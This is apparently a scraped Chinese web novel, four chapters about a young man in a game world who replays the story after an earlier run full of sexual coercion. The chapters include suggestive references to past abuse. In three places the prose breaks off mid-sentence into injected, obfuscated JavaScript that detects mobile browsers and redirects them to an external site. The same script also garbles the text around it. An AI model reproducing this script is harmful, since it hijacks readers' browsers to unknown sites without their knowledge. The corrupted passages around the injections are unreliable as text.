《在限制级游戏通关一周目后》 1. 二周目(修 当系统找到宁繁的时候,他正在一脸坚毅地擦拭脸上的污浊,助听器放在一边,已经碎裂。 好一通解释过后。 宁繁:“……” “你是说,我本来不需要经历这个世界?” “这个到处都是变态,人人脑子里都装着怪东西,人外触手满天飞,剧情纯纯限制级,每个人都觊觎我屁股的世界?” 【是的!】系统简直要磕头谢罪,【十分抱歉!因为数据混乱,传送的版本弄错了,您不应该在这里的!】 【只要您正常通关本游戏,就可以实现自己的愿望了。系统会帮您实现任何一个愿望。】 如果是以前,听到要穿越进陌生的游戏、完成任务通关,宁繁或许会放弃,并且深深地后悔自己当初许下愿望。 但现在,他的接受能力已经被这个异常版本的游戏,扩张地无比丝滑了。 已经,没有什么好怕的了。 他释怀地、安详地说:“可以,我同意了。” …… 开局仍然是中心城。 宁繁调整了一下自己的助听器,看向镜子里的自己,绿眸漂亮而颓废。他知道自己的身份,是中心城宁家旁系,却是宁家当代年轻人里异能最强的人。 他的异能,可以直接获得一次不死的机会,时效无限,相当于一条命。 可以给自己,也可以给他人。 在这个天灾频发,人们被迫隔绝在不同城市,异能者必须接受安排、自愿上战场的世界,他的能力作为后勤辅助,无疑极为强大,完全可以保住最珍贵的战力。 但代价也极为沉重。 每使用一次,他就会获得一个debuff。 时长不定,效果不定,也许只是轻飘飘的过敏几天,也有可能,是让他几乎永远失去听力。 是的,宁繁这个身份第一次觉醒异能,所付出的代价,就是听力。他只能一直带着助听器,饶是如此,也总是听不清声音。作为游戏开局的设定,这个debuff似乎绑定在身上了。在上一周目,他试过寻求强大的治愈系能力者治疗自己的耳聋,但没有任何作用,只是白白和医生来了几次。 宁繁摸了摸自己的屁股,流露出一丝怀念。 上一周目,他也是在镜子面前看着穿越的自己,然后打开衣柜换衣服时,看见了满满一柜子的……不可描述。他瞳孔地震,服侍他的管家却说这是本世界正常服饰,他必须穿。 系统:【这个版本的游戏绝对是正常的!】 宁繁按原来的选择,打开了自己的衣柜。 正常的衣服,正常的配饰。 他那青翠的绿色眼瞳里几乎流下泪水——天呐,有衣服穿的世界! “要帮您吗?”上周目强迫他穿上衣柜里东西的管家,这周目恭恭敬敬,他上前一步,向宁繁介绍起服饰,“这一套西装很适合今晚的宴会,搭配这件衬衫……” 戴了助听器,声音落到宁繁耳朵里,仍然有些遥远,有些模糊。 他慢一拍地点头,接过正常的衣服看了看。 不太满意。 “我自己选吧。”他瞥了眼满满当当的衣柜,“我一个人静一会儿。” 晚宴。 他依稀还记得这个剧情。城市被天灾分割独立,人群中开始出现觉醒异能的异能者,以及更多的、完全放弃人类身份的异种怪物。物资丰富力量充足的城市被称为中心城,而附近一圈则是卫星城,容易受到异种的侵扰。卫星城向中心城提供物资,中心城则向边缘提供庇护。 目前存留的中心城,有三十六座。 宁家来自卫星城,几乎没有什么强大的异能者,这次能被邀请来中心城第三城,完全是沾了宁繁的光。 哪怕是当下的大人物,也得对宁繁客客气气的。 没有人会想要面临死亡的危险。 像现在的这栋房子、管家和出门的一群保镖,都是免费配给给他的。不搞出什么大事的话,他真的可以在这个世界横着走——他似乎终于可以体验爽文了。 而不是那种……被搞得很爽的文。 …… 晚宴。 世界倾覆,仍不能阻止人们沉浸在纸醉金迷的奢侈中。宁繁端了杯浅色的香槟,嗅闻确认过后啜饮了一小口。头顶的水晶灯射下绮丽的碎片光芒,使他的绿眸中折射出一点颓靡的厌倦。 他靠在一边,假装不经意地窥视每个人的穿着,看大家都穿着正常的i衣服,而不是挂了几片布就来跳舞。 系统看着宿主那被上个世界操磨烂的眼神,以及那浑身上下极其复杂、各种扣子和绑带紧紧裹在身上的衣服,不由得问:【您喜欢这样繁杂的样式吗?】 宁繁穿衣服足足花了四十分钟。 “并不。”宁繁低头看了一眼,他穿了双绑带复杂得要命的靴子,“我只是觉得这种难脱的衣服……很有安全感。” “而且反正我有特权,穿得不适合晚宴也没关系。” 他沉痛道:“好喜欢穿衣服的感觉。” 他现在似乎很容易就能满足。系统心疼一会儿后,便开始介绍起正儿八经的任务。 【游戏的终极任务是迎来版本结局。您是被邀请来的测评师,只需要尽可能地体验剧情就好。】 系统甩出一张进度条:【目前探索度:0%】 【这是您的数值面板,所有的buff将会在上面展示。】 淡淡的冷色文字排列着。 【物种:纯种人类】 【污染值:0%】 【buff:不死(生效中,使用后消失)】 【debuff:听力障碍(永久)】 【debuff:食欲减弱(生效时间一个月,剩余时间21天13小时24分)】 数据很清晰。只是最后一条让宁繁有些在意,他身上有新鲜的debuff,这说明十天前他把不死机会给了某人?而且他也没想好具体走向什么结局,在上一个不可描述的周目里,战争愈演愈烈,城市逐渐减少,似乎是异种占领了世界。 他的异能虽然强,身体却很弱,哪怕现在有权有势,也只是因为有人需要他。他的定位,大概是给主要角色们送血包的炮灰,只要血包给得够多,主角们总能把这个世界捅破天的。 思考着,身边忽然有人搭话。 宁繁抬起头,发现自己周围的人不知何时越来越多了。 哪怕听不太清,也觉得有些嘈杂,拥挤在一起,视线落在他身上。 就像是银趴的前奏。 宁繁攥着酒杯,睫毛遮掩住眼底的神色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138142|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,指节却已经发白。不知道是不是刚才那口酒的缘故,他有些心跳加速。 【宿主,我们这里不会有那种剧情的。】系统安慰他。 想是这样想,可是他有些控制不住自己。 “你是哪位?”他微微睁大了眼睛,看向对面的人。 宁繁生了一张很漂亮的脸,黑发,右耳戴了只亮晶晶的耳钉,左耳挂着助听器。一身繁杂的衣服紧紧地裹在身上,不仅没显得乱,反而更衬得他腰细腿长,愈发像高高在上的冷色星子,纾尊降贵地向人间投来一瞥。 “我是——”被他回话的人明显激动起来。 宁繁却抬起手,将助听器调低。 末了,像是仍然觉得烦,干脆将它直接摘了下来,看着面前的人嘴巴一张一合。 他完全不想听他废话。几秒钟过后,周围的人都反应过来了,看着宁家的小少爷,脸色微微变化。 “真像小狗。”宁繁把香槟放在一边,很自然地靠近一步,捏住对面的脸,直到那五官挤得微微变形,他却仍然笑意盈盈地说着,松开手轻轻地拍了两下,“中心城的贵宾犬,怎么能跑到我们下等人面前要饭?太可怜了。” 他的话让周围的人一愣。 所有人都知道,宁家的这位小少爷觉醒异能后便失了聪,又打小被惯养,脾气恶劣,因为一点点不舒服发火骂人是常有的事。虽然宁家不足为道,其背后牵扯的势力却很多。因此即便看这个边缘城暴发户不顺眼,也不能明面上表露出来。 宁繁看了一会儿,忽然如释重负,满足地笑起来。 他很高兴地观摩起面前的小狗,又看周围的人,看他们眼神里翻滚的愤怒和贪婪,以及不得不压制的痛苦,最后看他们的压抑诱发更加强烈的渴望。 他听不见他们嫉恨的呼吸,却可以清楚地感受到掌心下年轻人翻涌的血气,看到几乎喷薄出脸颊的羞怒,最后才是看见漂亮皮囊,却被狠狠刺伤的,扭曲成恨的欲。 多么漂亮而复杂的情绪,和上个世界完全不一样。 好健康的世界,他好喜欢。 “系统你真好。”他在心中说,“我喜欢你。” 【!!!】系统猝然一惊,声音都磕磕绊绊起来,【我、我……我也喜欢你!】 天啊,它简直要给自己扇几巴掌,这么好这么温和的宿主,一点不怨恨它的失误,怎么就投放错了版本。 【不过……您是不是有些离他太近了。】 是有点。宁繁松开了面前呆滞的小狗。上周目呆太久,他几乎忘记正常的社交距离了。 问题不大。 “系统,你知道如果是上周目,现在会发生什么事吗?” 【诶?】系统也不太了解崩坏的世界。 “你在勾引我。”宁繁惟妙惟肖地模仿着别人的语调。 他会被按倒在餐桌上,酒杯倾倒,香槟沾湿布料,酒精会让每个人的大脑醺醺然。他没有得体的衣服,脚踝被人捉住,手指胡乱地挥动,却只是抓住了一捧蛋糕上黏腻的奶油。 软软滑滑,找不到任何支点。 他当然也不想抓住任何支点。 “然后他们会说,弄脏了,把奶油吃干净。” 系统:【啊——啊——啊——】 系统的cpu烧了。 2. 二周目(修 宴会厅内喧嚣吵闹,宁繁摘了助听器,什么也听不见,自顾自地沉浸在自己的世界中。 没多久,散发着严肃气质的护卫走过来。 宁繁戴上助听器,静静听完了对方传达的事:城主要见他。 …… 城主邀请他,是为了一场交易。 宁繁将自己的不死buff给予对方,而城主同意办理他的食物购买许可证。 城主霍南行一身便服,坐在沙发的对面。哪怕穿着平易近人的衣服,也掩饰不掉这人本身的冷淡疏离。 宁繁对交易没有意见。 他对城主本人很有意见。 ——“这家伙xp超怪的!” 宁繁盯着地面,心中仿佛有无数的东西想要吐槽,以至于看起来有些拘谨。 茶杯放在面前,是红茶,宁繁没有碰。 他记得这套茶具,也记得这个房间,记得自己曾经被架起腿按在沙发上,直到肚子被灌得满满当当、再也喝不下半点红茶。 他几乎没看霍南行,伸手就把不死buff给出去了。 与其同时。 【debuff:触觉敏感度提升至2倍(持续时间一周,剩余时间6天23小时59分)】 身体上骤然传来的改变,让宁繁觉得有些难受。他衣服本来就穿得很紧,原本适应的身体忽然又冒出了被勒住的疼痛,甚至能感觉到动弹的时候,布料在皮肤上摩擦带来的刺痒。 宁繁顿时皱眉。 “还好吗?”霍南行关切地看着宁繁。 “还好,不算难受,应该不是什么严重的问题。”宁繁重新露出笑容,“每次使用完异能,都会有点虚弱。霍先生,我可以离开了吗?” “再休息一会儿吧。” 宁繁拨弄着耳边的助听器,无端紧张起来。 一紧张,就想做点别的事,哪怕他没什么食欲,也忍不住伸出手,去拿桌面的小蛋糕。宴会的小茶点都做得很精致,闻着有股浓郁的柠檬香,他用勺子挖了一团,放入口中。 舌尖漫开酸甜,嗓子却好像不同意似的,迟迟不愿意下咽。 他含着蛋糕勺子,脸颊鼓起来一小块儿,好一会儿才吞下去。 “不喜欢?”霍南行问。 “没有。” 宁繁又挖了一勺。 “晚上应该少吃些,莫要贪吃。”他露出温和的微笑,宛如一个可靠的长辈。红茶的茶杯氤氲着水汽,模糊了他棱角分明的五官,也模糊了岁月在眼尾留下的痕迹。 其实他看着很年轻,岁月没有在他脸上留下太多的痕迹。宁繁知道他四十多了,但除了笑起来的时候,几乎瞧不见皱纹。 锻炼也很好,没有因为异能强大就放弃身材上的管理。 本金还很长,想法还变态。 宁繁听到自己怨念在头顶回旋的声音,想起上周目吃满的小黑屋,吞下去的小蛋糕就像是顶着胃了一样,愈发的食欲不振。 霍南行给他的感觉,和上周目很像,像到就像是马上要脱了外套,叫他自己坐过去一样。 门口忽然传来声音。 一人大步走进来,有些着急,却又很恭敬地同霍南行打招呼:“叔叔。” 宁繁也跟着转过头,还叼着勺子。 “……” 好眼熟的人。这不是他刚才在宴会厅里掐住的“贵宾犬”吗?他是霍南行的侄子?宁繁努力回忆了一下,却没有想起上周目有没有见过这个人。 他被霍南行藏得太好了,霍南行也跟个神经一样把所有人都赶出去。 贵宾犬在盯着他。 “霍明瑞,这是我侄子。” 宁繁叼着勺子:“你好。” 霍明瑞沉默着。仔细看的话,他脸上还有一点掐痕,像是被猫挠了。单论外貌,他确实和霍南行有些相似,尤其是眉眼。霍家人似乎都有些欧美血统,肩宽腿长,眉弓很高,眉毛压着淡蓝色的眼睛。 “明瑞,给他道歉。” 宁繁:“嗯?”他有些诧异地看着霍南行。 毕竟,好像是他欺负了一下他侄子。 霍明瑞也像是咽不下去似的,好半天才吐出来两个字:“抱歉。” “他第一次来中心城,其他人拥上去,你作为东道主不拦一下,反而一起过去凑热闹。”霍南行果然知道宴会厅里发生的事,“太失礼了。” 他脸上仍然挂着微笑,霍明瑞却重重低下头,挨着训斥。 “抱歉。”霍南行本人也对宁繁说了一句道歉,“你不必拘谨,以后将第三城当做自己的家也可以。” 宁繁:“噢。我什么时候可以回宁家?” “最近不太平,异种袭击频发,中心城安全些。”霍南行缓缓地说,“在这儿多留一会儿,也是为你好。” ……那不还是变相软禁他这个S级异能者吗? 不过被囚禁在第三城,总归是比被囚禁在某人的卧室要好。宁繁对自己的处境还算了解,他的异能不提供任何的武力加成,纯纯的辅助机制,让他也成了人人都想抢的香饽饽。 只要别抢他屁股,他都没什么意见。 目前来看,霍南行的态度很正常,仅仅馋他的异能。可宁繁想到上周目他的伪装,忍不住脱口而出:“方便我问一下……您……令侄的婚姻情况吗?” 虽然很不理解,但霍明瑞回答了:“并未成婚。” 他的眼神落到宁繁脸上。 宁繁却看着他的叔叔。很明显,他还想问霍南行的婚姻状况。 这个问题有些太大胆、太设计隐私。霍南行倒也不恼:“并未成婚,孑然一人。” 宁繁看了看霍南行,从他脸上看见不近女色,不近……男色,最后可能还有一点不近人色和不近人外色:“那很好了。” “?” “宁家有不少适婚的姐姐妹妹,”宁繁脸红了一下,“拜托我问一下您……” “不必。”霍南行悠悠开口,语气仍然柔和,态度却十分强硬,“我已将一切时间都献给这座城。” …… 回了那嘈杂的晚宴,宁繁松了口气:“吓死我哩!” 系统夸夸宿主:【宿主很厉害!】 “还好,这家伙只是想要我的异能。”他像是想起一周目的什么,罕见的有些后怕。他甚至偷偷走了一圈,拉着几个路人悄悄询问城主的日常,确认对方真的不玩怪东西以后,才松了口气。 “总之,回去休息吧!” 宁繁嘴上说想休息,实际上还是没忍住,跑到宴会后台,问了问今天做小甜品的厨师是谁。然后很自然地伸手要人,把厨师打包回家。 等到搞定一切。 要出宴会厅的时候,却瞧见了一个眼熟的人。 商清昀,和他一样,是顶级异能拥有者,算是这个游戏主要角色之一,未来几乎站到了人类的顶端,翻云覆雨。 但现在,他的异能并未觉醒,只是一个来自偏远卫星城的少年。奢靡的宴会厅里,人人都穿着昂贵的华服,只有他像是没别的选择似的,穿着一身略旧的军装——军衔也不高。 年轻的商清昀,看着还挺老实,长了一张标准的英俊帅脸,眉宇间全是正气。 此时商清昀矗立在阴影里。身后是酒醉金迷的名利场,身前是清冷的大理石地板,光线只落在他的肩膀,他就像一根钉子,沉默,老实,完全看不出来,是那种见人说人话、见鬼说鬼话的阴暗家伙。 身上唯一能穿出门的体面军装,现在也有些皱了,右下角还有一滩酒渍、几滴很不显眼的暗红血色,宣告着他身上发生的冲突。 宁繁花了三秒,走过去。 商清昀一愣:“你好?有什么事吗?” “借一下你的车,可以吗?”宁繁颐指气使。 他一看商清昀就知道,他是被这座城市那些排外的人找茬了。而宁繁一想到上周目被商清昀欺负,就觉得来气。 他现在是什么?是鼎鼎大名的S级异能者! 那么多视线落在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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伴随着刺啦一声,车猛地停下了,商清昀疑惑地看着宁繁。宁繁却压根没理他,自顾自地打开车门,感受着大颗的雨点砸在脸上,明确的痛感缓解了风挠过的轻痒。 暴烈的雨开始了。 风搅着自由的空气,雨水模糊了路灯的昏暗。宁繁踩着长靴踏入水坑,迎接从天而降的雨幕,无拘无束地笑起来,纵情肆意,哪怕他纤细的身体像是要被雨水摧折一样。 好像这时,他才终于有了新生活的实感。 他离开那个狗屎的游戏版本了! 好耶!!! 他把外套和多余的东西都脱掉了,上半身只剩下一件黑色的衬衫,湿透后贴在身上。长裤的布料吸饱了水,逐渐变得滞重,在大腿上拉扯出紧涩的线条。 debuff在持续,不大不小的痛觉包裹他的全身。 但宁繁完全不在意了,他兴奋地在雨里面跑跳。 “少爷……”侍卫打着伞追来了,宁繁没带助听器,完全听不见他在后面叫,“会着凉的!” “下雨了!”宁繁冲他大喊,听不见的时候他会有点控制不住自己的音量,“下雨了呀!” 他真的高兴疯了。 上周目给他饭菜里加料的侍卫,现在看见他湿透的衣服,也只是流露出担心的神色。 正常的,大家都很直的世界! 幸福!天堂!二周目! …… 雨打在玻璃上,杯中的红茶已经完全失了热气,被挖去半个的蛋糕放在桌边,勺子上还沾着奶油。 霍明瑞似乎是气得不行,已经离开。 霍南行却还留在原地。 他拈起宁繁用过的勺子,想起下午小憩时的那个梦,神色晦暗不明。 梦里,他将容貌昳丽的少年抱在沙发上,抚着他微微鼓起的腹部,一遍又一遍地问,你饱了吗?想起现实中,方才叼着勺子吃蛋糕的宁繁,梦里的少年,分明就和他有一样的脸。 他忽得将勺子按入蛋糕中,奶油溢出来。 他已经将全部的时间献给这座城。 关照一下新来的S级异能者,也是理所应当。 3. 二周目(修 淋雨没多久,宁繁还是被抓住了。 侍卫神情着急,他的手滚烫,抓住宁繁因为雨水变得冰冷的胳膊,几乎把人刺激地缩起来。 伞面把雨隔绝,宁繁乖乖回去。 走了几步,雨水里有个沉默的倒影,不用想都知道是谁。宁繁从伞下探出头。 他完全湿透了,黑发湿漉漉地贴在额头、颈侧,滴滴答答地往下落水,眼睛却比以往还要明亮,涤去了一切的灰尘,是有着切割利落的绿宝石。 黑色的伞,黑色的衬衫,黑色的发丝,冷白的肤色和冷绿的眼睛,唯独脸颊上泛出一点过度兴奋的暖红。 他吸了口气,甩掉发丝上的水珠。 “差点忘了你,我的临时司机。”宁繁歪头,展颜一笑,“我是不是应该给你一点日结工资?” “你先回车上吧。”宁繁又对侍卫说。 他从伞下钻出去,躲进了一个能避雨的电话亭。现在这些设备已经完全废弃了,只留下徒劳的框架:“过来。”他招呼商清昀。 大雨轰鸣,地面上开出千万朵银色的小莲花。 发旧的玻璃隔绝了一点声音,亭内空出一块儿闷杂了雨声的安静,不至于让他们的谈话变得艰难。 “你想要晋升吗?”宁繁问。 两人都湿漉漉的。 “你……”商清昀忽得闭了嘴,在玻璃上用手指写,“有办法?” 宁繁当然知道不久之后,商清昀在前线觉醒了自己的异能,从此一路高升。但当下的商清昀不知道这件事,从目前的情况来看,他很可能前途无望了。 就算没有宁繁替他拉仇恨,中心城的人也不会让他这种平民晋升。 他没急着回答商清昀的问题,而是看着玻璃外模糊的雨:“你应该很快就要上战场了吧,根据规定,每位军官都需要去战场前线至少一年。” 因此,军衔根本不值钱,甚至可以强行发给贫民,凑齐该批次的人头。 在他的上个奇妙周目里,商清昀也去前线了。 宁繁那会儿吃了别人的小黑屋,不知道商清昀那边具体的细节,却知道这一年是非常神奇的一年。异种出现了他们的王,中央城毁灭了三座,而商清昀在战场上觉醒了自己的异能。 “我可以给你一次不死的机会。”他淡淡地说着,“以及一些金钱和情报支持。” 商清昀抬起眼,用力地盯着他。 他也完全淋湿了,军装挺括的布料紧紧地贴着肩膀、胳膊上的肌肉,克制而收敛的目光里第一次爆发出强烈的情绪,连带着呼吸也重了起来,在冰冷的雨中呵出热气。 宁繁看了他一眼。 如果这个世界真的完全正常,未来的S级异能者,他肯定要拉拢一下:“我需要你帮我做点事。” 商清昀那棕色的眼珠轻微地移动了几分,最终将视线黏着在宁繁的侧脸上。苍白的肌肤上滚着水珠,宁繁没有任何表情,异常平静,只有语气透出一点疲倦。 像是一团树枝上摇晃的雾凇,马上要砸落进烂泥的冰雪,仿佛轻轻一碰,他就会在掌心悄悄融化。 一个不应当的画面从他脑子里划过,转瞬即逝。 商清昀没有在玻璃上书写,而是沉沉地应了声。 “好。” …… 终于回了住所。 宁繁泡在浴缸里,长长地舒出一口气。 一回家就有热水的感觉真好,热水里没有其他人的感觉也真好。就是平常习惯的水温,对现在的他来说稍微有些烫。而且他在外面淋了雨水,整个人凉凉的,愈发觉得水温刺激。 “唉……反胃。”他虚着眼。 他其实压根没什么食欲,偏偏又吃了一大堆甜腻腻的小东西,只有最后那个厨师做的玩意还不算腻。 但一想到购买食物的特权证可以办下来,这都是值得的。 宁繁摸了摸自己微微鼓起的肚子,虽然撑得反胃,但还是充满了幸福感——怎么说这也是他自己吃下去的食物,而不是被别人灌得肚子胀起来。 【辛苦啦。】系统冒出来,碎碎叨叨地在耳边说话,提供情绪价值。 宁繁便打起精神,在浴缸里面伸了一个懒腰,挑眉,很自豪地说:“你知道有过一个全是变态的一周目,有什么好处吗?” 事实上,这是系统完全不敢问的领域,它生怕触碰到宿主的伤痛,小心翼翼地开口:【什么?】 “我完全知道他们每一个人的xp!”宁繁握拳,在浴缸里面溅出水花,“我了解他们的喜好,还有他们厌恶的东西。” 系统:【……啊?】 “交流次数太多了。”宁繁挤出一个奇妙的笑容,“如果拉一个图表,想必能直接做数据分析吧。” 系统:【……!】听着好命苦。 “不知不觉就收集很多信息了。”宁繁洗完澡,穿了件睡衣。握着门把手,转开,“就像是一直跟在我身边的侍卫,我也知道,他喜欢保守、一心为家族的传统少爷。” 侍卫静静守在门外,他听不见宁繁的心声。 只是抬眼,瞧见本来苍白的人被热水泡成了粉色,脸比寻常还要绯红,他忍不住问:“您脸色很红,身体还好吗?我去给您备一点感冒药?” 宁繁很无所谓地回答:“哦,那是因为我纵欲了。” 侍卫:“!!!” 系统:【!!!】 几乎和他年纪一样大,却比他高半个头的侍卫完全愣住了。他叫宁周,来自和宁繁一样的宁家旁系。打小就跟在宁繁身边保护他,某种意义上,是接近兄长的关系。 宁繁知道他对自己有过度的保护欲,并且一心一意希望自己走上正道。但上周目的限制级剧情里,他扭曲到偏执,觉得把他毁了,就能保护他不被其他人看上。 也可能。 是觉得把宁繁填满,就没那个空隙去接纳别人了。 ——显然这种想法比较保守。 瞧见宁周那几乎要碎掉的眼神,翻涌着震惊和心疼,却没出现上周目那种扭曲的阴鸷。宁繁忙露出一个乖乖的笑容:“开玩笑的!我都快洗睡着了。” “今天的热水太烫,全给我烫红了。”他挽起睡衣的袖子,露出一截干净的胳膊。露齿笑的他显得格外温良,对于这位能保护他的兄长,他的态度还是很好的。 沉默了一会儿,宁周低头:“我同管家说一声,备上感冒药,您先把头发吹干吧。” 宁繁应了声,困意慢慢地打了个呵欠。 他头发已经有些长了,杂乱地垂落,被吹风机一吹,毛茸茸地炸起来。宁周拿了梳子帮他梳头发,结果疼得宁繁龇牙咧嘴。 “疼?”宁周看了看手中的木梳,他是已经很小心了。 “新的小毛病。”宁繁吸了吸鼻子,“怕疼。” 其实还好,敏感度只是翻了一倍,他上周目抽到过这类的debuff,那时候足足翻了十倍。 身上都没法穿衣服,最好的布料挂在身上也觉得刺疼,床垫里面的棉絮他都能感知到。成了实实在在的豌豆公主。生活都难,更别提其他的事情了。 宁繁眯着眼,头发干了之后便打发了所有人,自己一个人躺在床上。 还别说,在这个世界一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138144|180344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人睡,挺陌生的。 除了放置的时候。 【您真是吃了好多苦。】系统要泪目了,【但是您刚才说的话是真的吗?什么纵欲,我怎么不知道?】 “假的。”宁繁打了个很大的哈欠,“你看着呢,我对那种事情没兴趣。” 【宿主要是要是有些需要我规避的环节,我会被动触发智能屏蔽,下线离开,绝对不会打扰宿主。】 宁繁:“……” 他突然冒出来一个很不好的想法:“该不会是因为上个周目从头到尾你都被屏蔽了,所以没能找到我吧?” 【……我不知道。】 宁繁嘀咕了一会儿,心里把接下来要做的事情全都过了一遍。睡前他还特意检查了一遍,虽然外面的安保严密,他的一举一动都在被监管,但卧室和浴室里面既没有窃听器,也没有摄像头。 不变态的世界真的很好。 他闭上眼躺了一会儿。 然后睁眼。 ……睡不着。 他好像有点习惯身边有人的睡眠了,骤然空荡荡的,居然有点习惯不了。 他知道有个很快就能入睡的办法,可好不容易来到这个正常世界,他不想碰那种办法。 宁繁坐起身。 …… 宁周往往要晚睡很多,自从觉醒了身体强化的异能,他一天只需要睡四个小时,总是凌晨两点才睡,早上六点又起来。 他们才来到中心城不久,周边全都是城主指派的人。 他知道宁繁很挑剔,因此这几天格外注意,宁繁去休息了,他还在交代新来的厨师。 交代完,他才去练功、洗澡,准备休息。 最后一次确认别墅里外没有危险,值夜班的人驻守岗位没有偷懒,他终于回了自己的房间——就在宁繁卧室隔壁。他睡眠浅,有什么危险可以立刻爬起来。 灯几乎全灭了,只留了几个方便起夜的小夜灯。 一个身影站在他门口。 宁繁抱着一只绵软的白色枕头,只穿了睡衣站在门前,地板上反射着外面的月色。他的衣摆下笼出一片模糊的阴影,愈发显得裸.露的脚踝皓白纤细。手指用力地抓着枕头,表面的布料扯出一片皱痕。 “宁周。”声音又轻又软,“我有点撑,你有消食的药片吗?” 自然是有的。 虽然现在药物很贵,但他们总是备着最全套的医疗包,就放在客厅。宁繁的异能总是让他时不时就出现一点小病。借着昏暗的光,宁周翻出了药,看着宁繁吃下,又喝了两口水。 宁繁慢吞吞迟迟说不出那句话。 ……他一个人睡不着。 好丢脸,到底是谁给他调成这样了,这周目他要把人插死。 趁着夜色昏暗,他轻声询问:“宁周,我可以相信你吗?” 这个问题很严肃,宁周沉沉回答:“我永远站在您背后。” 背后?一想到上周目宁周特别喜欢正面,次次都要拧成正面,宁繁放心了。他轻咳了一声:“那你来我房间打地铺,我有点担心。” 他毫无负罪感地诬陷霍南行:“城主那边想把我留下来,我怀疑可能会有动作。”他只说这一句,别的留给宁周脑补就行。 宁周还未答应,宁繁就已经推门进卧室,完全没给人留下拒绝的空间。 他坐在床上,床垫被压出一个凹坑,拖鞋从光滑的脚背上滑下去,啪得一下落在地面,曲线流畅的小腿叠在一起。 “我困了,动作快点。” 他又说。 “明天早上起床的时候不准吵醒我。” 4. 二周目(修 打个地铺而已,没多久就完成了。 宁周轻手轻脚地走进来,他不是没和宁繁一起睡过,曾经为了保护宁繁,他24h不离身。他进来的时候,宁繁也还没睡。 小少爷的睡眠很不好,他知道。 他甚至有点自责,必须要打地铺睡在一起,抵御危机,想必少爷心里是很不情愿的。又忍不住低声问:“您肚子很不舒服吗?” “有一点。”宁繁明知道自己没吃什么东西,却还是有种古怪的饱撑感,想来是debuff在发力。 “需要我帮您吗?” “嗯?” 宁繁想起来,宁周打小就练武,异能觉醒也没停下,在修养身体上其实很有心得。正好他在雨里蹦跶了一路,腿也有点酸。 在这之前,他忍不住偷偷看了一眼宁周。 肌肉分明,小麦色的皮肤在黑暗中愈发显得深,上半身只穿了一件背心,几乎包不住胸肌。练武其实不需要那么大的肌肉,但异能加成之后便没有这种顾忌了。 裤子是长裤,份量虽然大,但和他共处一室,没有什么反应。 嗯,一切正常。 宁繁:“要的!” 于是手指落在他身上,隔着布料,轻轻地揉开酸胀的地方。宁繁本来就困,眯着眼睛几乎睡着。他忍不住嘟囔了一句:“我这次用异能的代价是触觉更加敏锐,怕疼,你轻一点……” 话都没说完,脑袋一歪,睡过去了。 柔软的黑发在白色的枕头上铺开,露出光洁的额头。手掌贴上腰的时候,雪一样的肌肤给人一种马上要融化的感觉。不像常年手脚冰凉的宁繁宁周的手掌粗糙,掌心滚烫,按上去,宁繁便下意识地瑟缩一下,但依然没醒。 睡颜很乖,毫无攻击性,唇看起来那样的软,只有一点轻微的血色,如同初熟的浆果。 宁周顿了顿,克制自己的呼吸,帮宁繁摘下忘记摘的助听器。 大脑里回荡起宁繁洗完澡的那声“纵欲”。 他的小少爷,什么时候有这种需求了呢…… …… 第二日一早,宁繁神清气爽地拉开窗帘,感受着温暖的阳光。 睡得很好,宁周起床果然没吵醒他,而且身上完全没有任何酸痛感。 不愧是习武之人的按摩技术! 昨日的雨水痕迹几乎看不见了,只有树叶格外清爽,而他也很幸运的没有感冒。 今天他没什么事要做,因此只是穿了长袖长裤。下楼,管家已经把早餐准备好,宁周等在一边,低垂着眼。除此之外,还有一个新鲜的陌生人。 是他昨天指名要带走的厨师。 此时他已经把东西收拾完了,接受自己换了个主子,战战兢兢地站在一边,等待宁繁发布更具体的命令。 宁繁慢悠悠地切割着洒了黑胡椒的溏心荷包蛋:“说说你擅长什么。” 厨师开始讲述。 宁繁模模糊糊地听了一阵,吃完了早餐。 “我说一下我的喜好,你记着……哎,让我想想我忌口……” 话音刚落,宁周上前,掏出了一个小本子:“我记着。” 宁繁惊奇地看了他一眼,这是他上个周目完全不知道的事儿:“给我看看?”他好奇起来。 宁周似乎有些犹豫,但还是将本子教了出来。宁繁简单翻了翻,上面记录的确实都是一些他生活起居的喜好,事无巨细,想到哪写到哪,简直可以取名叫做《宁繁观察日记》。再一看,宁周确实把脑袋压得更低了。 但宁繁看这本子很清水,他一点不恼,反而觉得方便,只顺着这上面的东西补充,又扯了一大堆喜好,连调味品的牌子都挑挑拣拣。 厨师听得脑袋发晕,到最后,连一旁的管家都开始记录宁繁那点稀奇古怪的要求。 终于,他讲完了:“等采购证下来,就去帮我把东西买齐,有些玩意就只有中心城有。买了带回家去。” “是不是觉得跟我这样的人,很麻烦?”宁繁问厨师。 厨师猛得摇头。那眼神里,甚至是对新工作期待满满的。 也巧,正说着采购的事,昨夜申请的采购证,居然已经下来了。并且还是城主侄子亲自送来的。 这栋房子的管家、保安全是城主的人,霍明瑞打了声招呼,便进来了。他首先看到了似乎是专属于霍家的厨子,正在边上写着什么,瞧见他,兴许是看见前雇主的尴尬,把脑袋狠狠低了下去。 